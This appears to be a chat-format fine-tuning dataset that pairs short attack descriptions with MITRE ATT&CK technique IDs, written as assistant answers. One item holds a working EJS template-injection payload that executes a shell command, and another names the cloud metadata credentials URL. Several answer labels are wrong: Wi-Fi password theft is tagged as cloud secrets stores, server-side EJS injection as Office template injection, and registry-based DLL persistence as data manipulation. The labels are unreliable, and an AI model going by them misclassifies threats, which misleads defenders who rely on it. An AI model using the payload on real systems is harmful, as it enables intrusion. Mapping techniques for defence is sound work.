                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used \"kubectl set image\" to replace the container image of a deployment with a malicious version, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware disables security tools and services on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a request to the Kubernetes API server without authentication to pull secret tokens from the pod's environment."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script registered a transport agent on the Exchange server, enabling the attacker to read and forward all email communications."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware inflates the size of its DLLs by appending useless strings, obscuring the real malicious code."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware copies a legitimate executable and renames it by adding a trailing space before the .exe extension, e.g., \"calc .exe\", to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses Google dorks to uncover unprotected backup files hosted on publicly accessible websites."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious group runs batch WHOIS queries against a list of suspect domains to compile a reconnaissance database."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stores encrypted payloads within legitimate DLLs using alternate data streams, loading them only in memory at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses a compromised third‑party vendor’s email address to send a spearphishing email with a link to a malicious installer disguised as a software update."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators exploited a vulnerability in the Windows Authenticode verification process to make a tampered executable appear correctly signed, thus subverting trust controls."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group strips the payload of any embedded strings, making reverse engineering more difficult."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation module extracted the list of open ports and listening services."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries commercial threat intelligence providers for reports on recently observed malware families to enrich their own signatures."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro extracts the list of installed Office applications by accessing COM objects."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exfiltrates credential dumps from backup archives that include credential.txt and passwords.csv files."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the AppCert DLL mechanism, the malicious actor establishes persistence by having their DLL loaded each time the associated program launches."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker steals valid RDP credentials from a compromised host and uses them to connect to the victim's desktop, maintaining persistence via a remote service session hijack."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update replaces the legitimate system image with a prior version, removing recent patches."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a fresh AWS IAM user with admin privileges to maintain foothold."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script corrupts the user's .tcshrc, adding a line that triggers a PowerShell command via the WSL environment."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware parses .env files in web applications to harvest database connection strings and API keys stored in plaintext."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a timer that tracks how long the virtual machine has been active and only triggers the exploit after a long idle period, employing time‑based evasion."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal employs pass‑the‑hash to move laterally, using captured hash values to authenticate to SMB shares."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers gain access to a system and alter the permission bits of a .exe installer in the Program Files directory, allowing them to drop a Trojan that runs with elevated privileges during the next install."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware harvests cached Wi‑Fi passwords from the system's network profile store."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dynamic resolution is performed by the malware by creating domain names from a list of characters and testing each."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages a vulnerable Node.js application that uses EJS templates, sending \"<%= require('child_process').execSync('whoami') %>\" as input to achieve remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is used to send malicious calendar invites to colleagues, containing a link that downloads a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages the net localgroup command to add a new user to the local Administrators group."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages vssadmin to create a snapshot of the volume and then extracts the NTDS.dit file to obtain domain password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker encrypts user documents and files on the network shares, demanding payment for the decryption key."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious ads are delivered through a compromised programmatic advertising platform, delivering a trojan via drive‑by download."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors accessed online advisory portals to extract information on recent patches and associated CVE identifiers."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary hides a phishing URL within the alternating bits of a binary file that appears to be a legitimate document."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a PowerShell script on a compromised Windows VM to request the metadata service at http://169.254.169.254/latest/meta-data/iam/security-credentials/ to obtain AWS role credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was delivered via a compromised Microsoft System Center configuration manager package during routine updates."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom script, the threat actor accessed the ADMIN$ share over SMB to upload a PowerShell payload that would run with system privileges."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a captured Kerberos service ticket to impersonate a user on a remote system."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a compromised third‑party vendor’s email account to send phishing messages to the victim organization’s staff, asking them to verify account details on a fraudulent website."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator leverages Netstat and PowerShell commands to enumerate established connections and listening services on the target network."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a PowerShell command to base64‑decode a malicious script before execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom tool, the intruder copies system log files from /var/log to a staging area."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script creates a __EventFilter and __EventConsumer in WMI to execute a reverse shell when a user logs on."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker schedules a recurring job via at to periodically check for updates to the malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a malicious XSL stylesheet that the victim’s software automatically processes, leading to code execution."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages the AWS Lambda Invoke API with a base64-encoded script to run commands on the backend."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware dumped cached credentials from the LSASS process and employed Pass-the-Hash to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs PowerShell Get-LocalGroup cmdlet to discover local group names on a compromised endpoint."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes encrypted data as a hex string to a temporary file for later extraction."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query public WHOIS records to identify domain ownership information of the victim."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the 'at' command to schedule execution of a malicious binary."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the executable of a popular office suite on the victim's machine to include a backdoor payload."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker takes advantage of an unpatched vulnerability in a serverless runtime to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used a Python one‑liner in a PowerShell command to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malvertising is used to distribute a malicious Office macro by embedding it in an ad that triggers a download upon click."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses \"cmd /c\" to run a series of commands that enumerate active network connections."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals abused an over-privileged service account to read and copy files from an Azure Data Lake storage account."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a custom DLL to call the WinInet API and extract the list of trusted sites configured in Internet Explorer."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware component communicates bidirectionally with a remote C2 server by leveraging a public API endpoint, allowing the attacker to issue instructions and retrieve stolen information over the same web service connection."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses the Windows API OpenProcess followed by WriteProcessMemory to place malicious code into a victim's explorer.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a directory traversal bug to overwrite the corporate intranet’s logo with a defaced version."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used a web shell to replace the default page of the internal file sharing portal with a defacement message."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group injects malicious DLL references into the registry entries of installed software, causing the payload to load on system boot."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised container calls the cloud provider's metadata service to retrieve secrets for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious mobile app requested excessive permissions and silently captured Snapchat login details entered by the victim."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the “schtasks” command to create a scheduled task that runs daily."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the adversary drops a compiled HTML Help file on the victim machine and runs it with the built‑in HTML viewer to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage group embeds a custom OS image on the target's server, disguising their tools as part of the native system."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker pads executable binaries with random bytes to disrupt static analysis."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the registry key HKLM\\\\SOFTWARE\\\\Microsoft\\\\.NETFramework\\\\CorEnableProfiling to 1 and COR_PROFILER to a malicious GUID, the attacker injects code during runtime."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant included a routine to shred the disk's contents after encrypting the files."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the configuration of Google Cloud Compute Engine instances, changing startup scripts to execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infected Word document contains a VBA macro that disables the firewall by modifying Netsh settings via the shell."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account was used to edit the company's internal documentation site, inserting malicious defacement content."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups analyze the victim's industry collaborations and partnership agreements to pinpoint organizations that might grant indirect access to the target."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
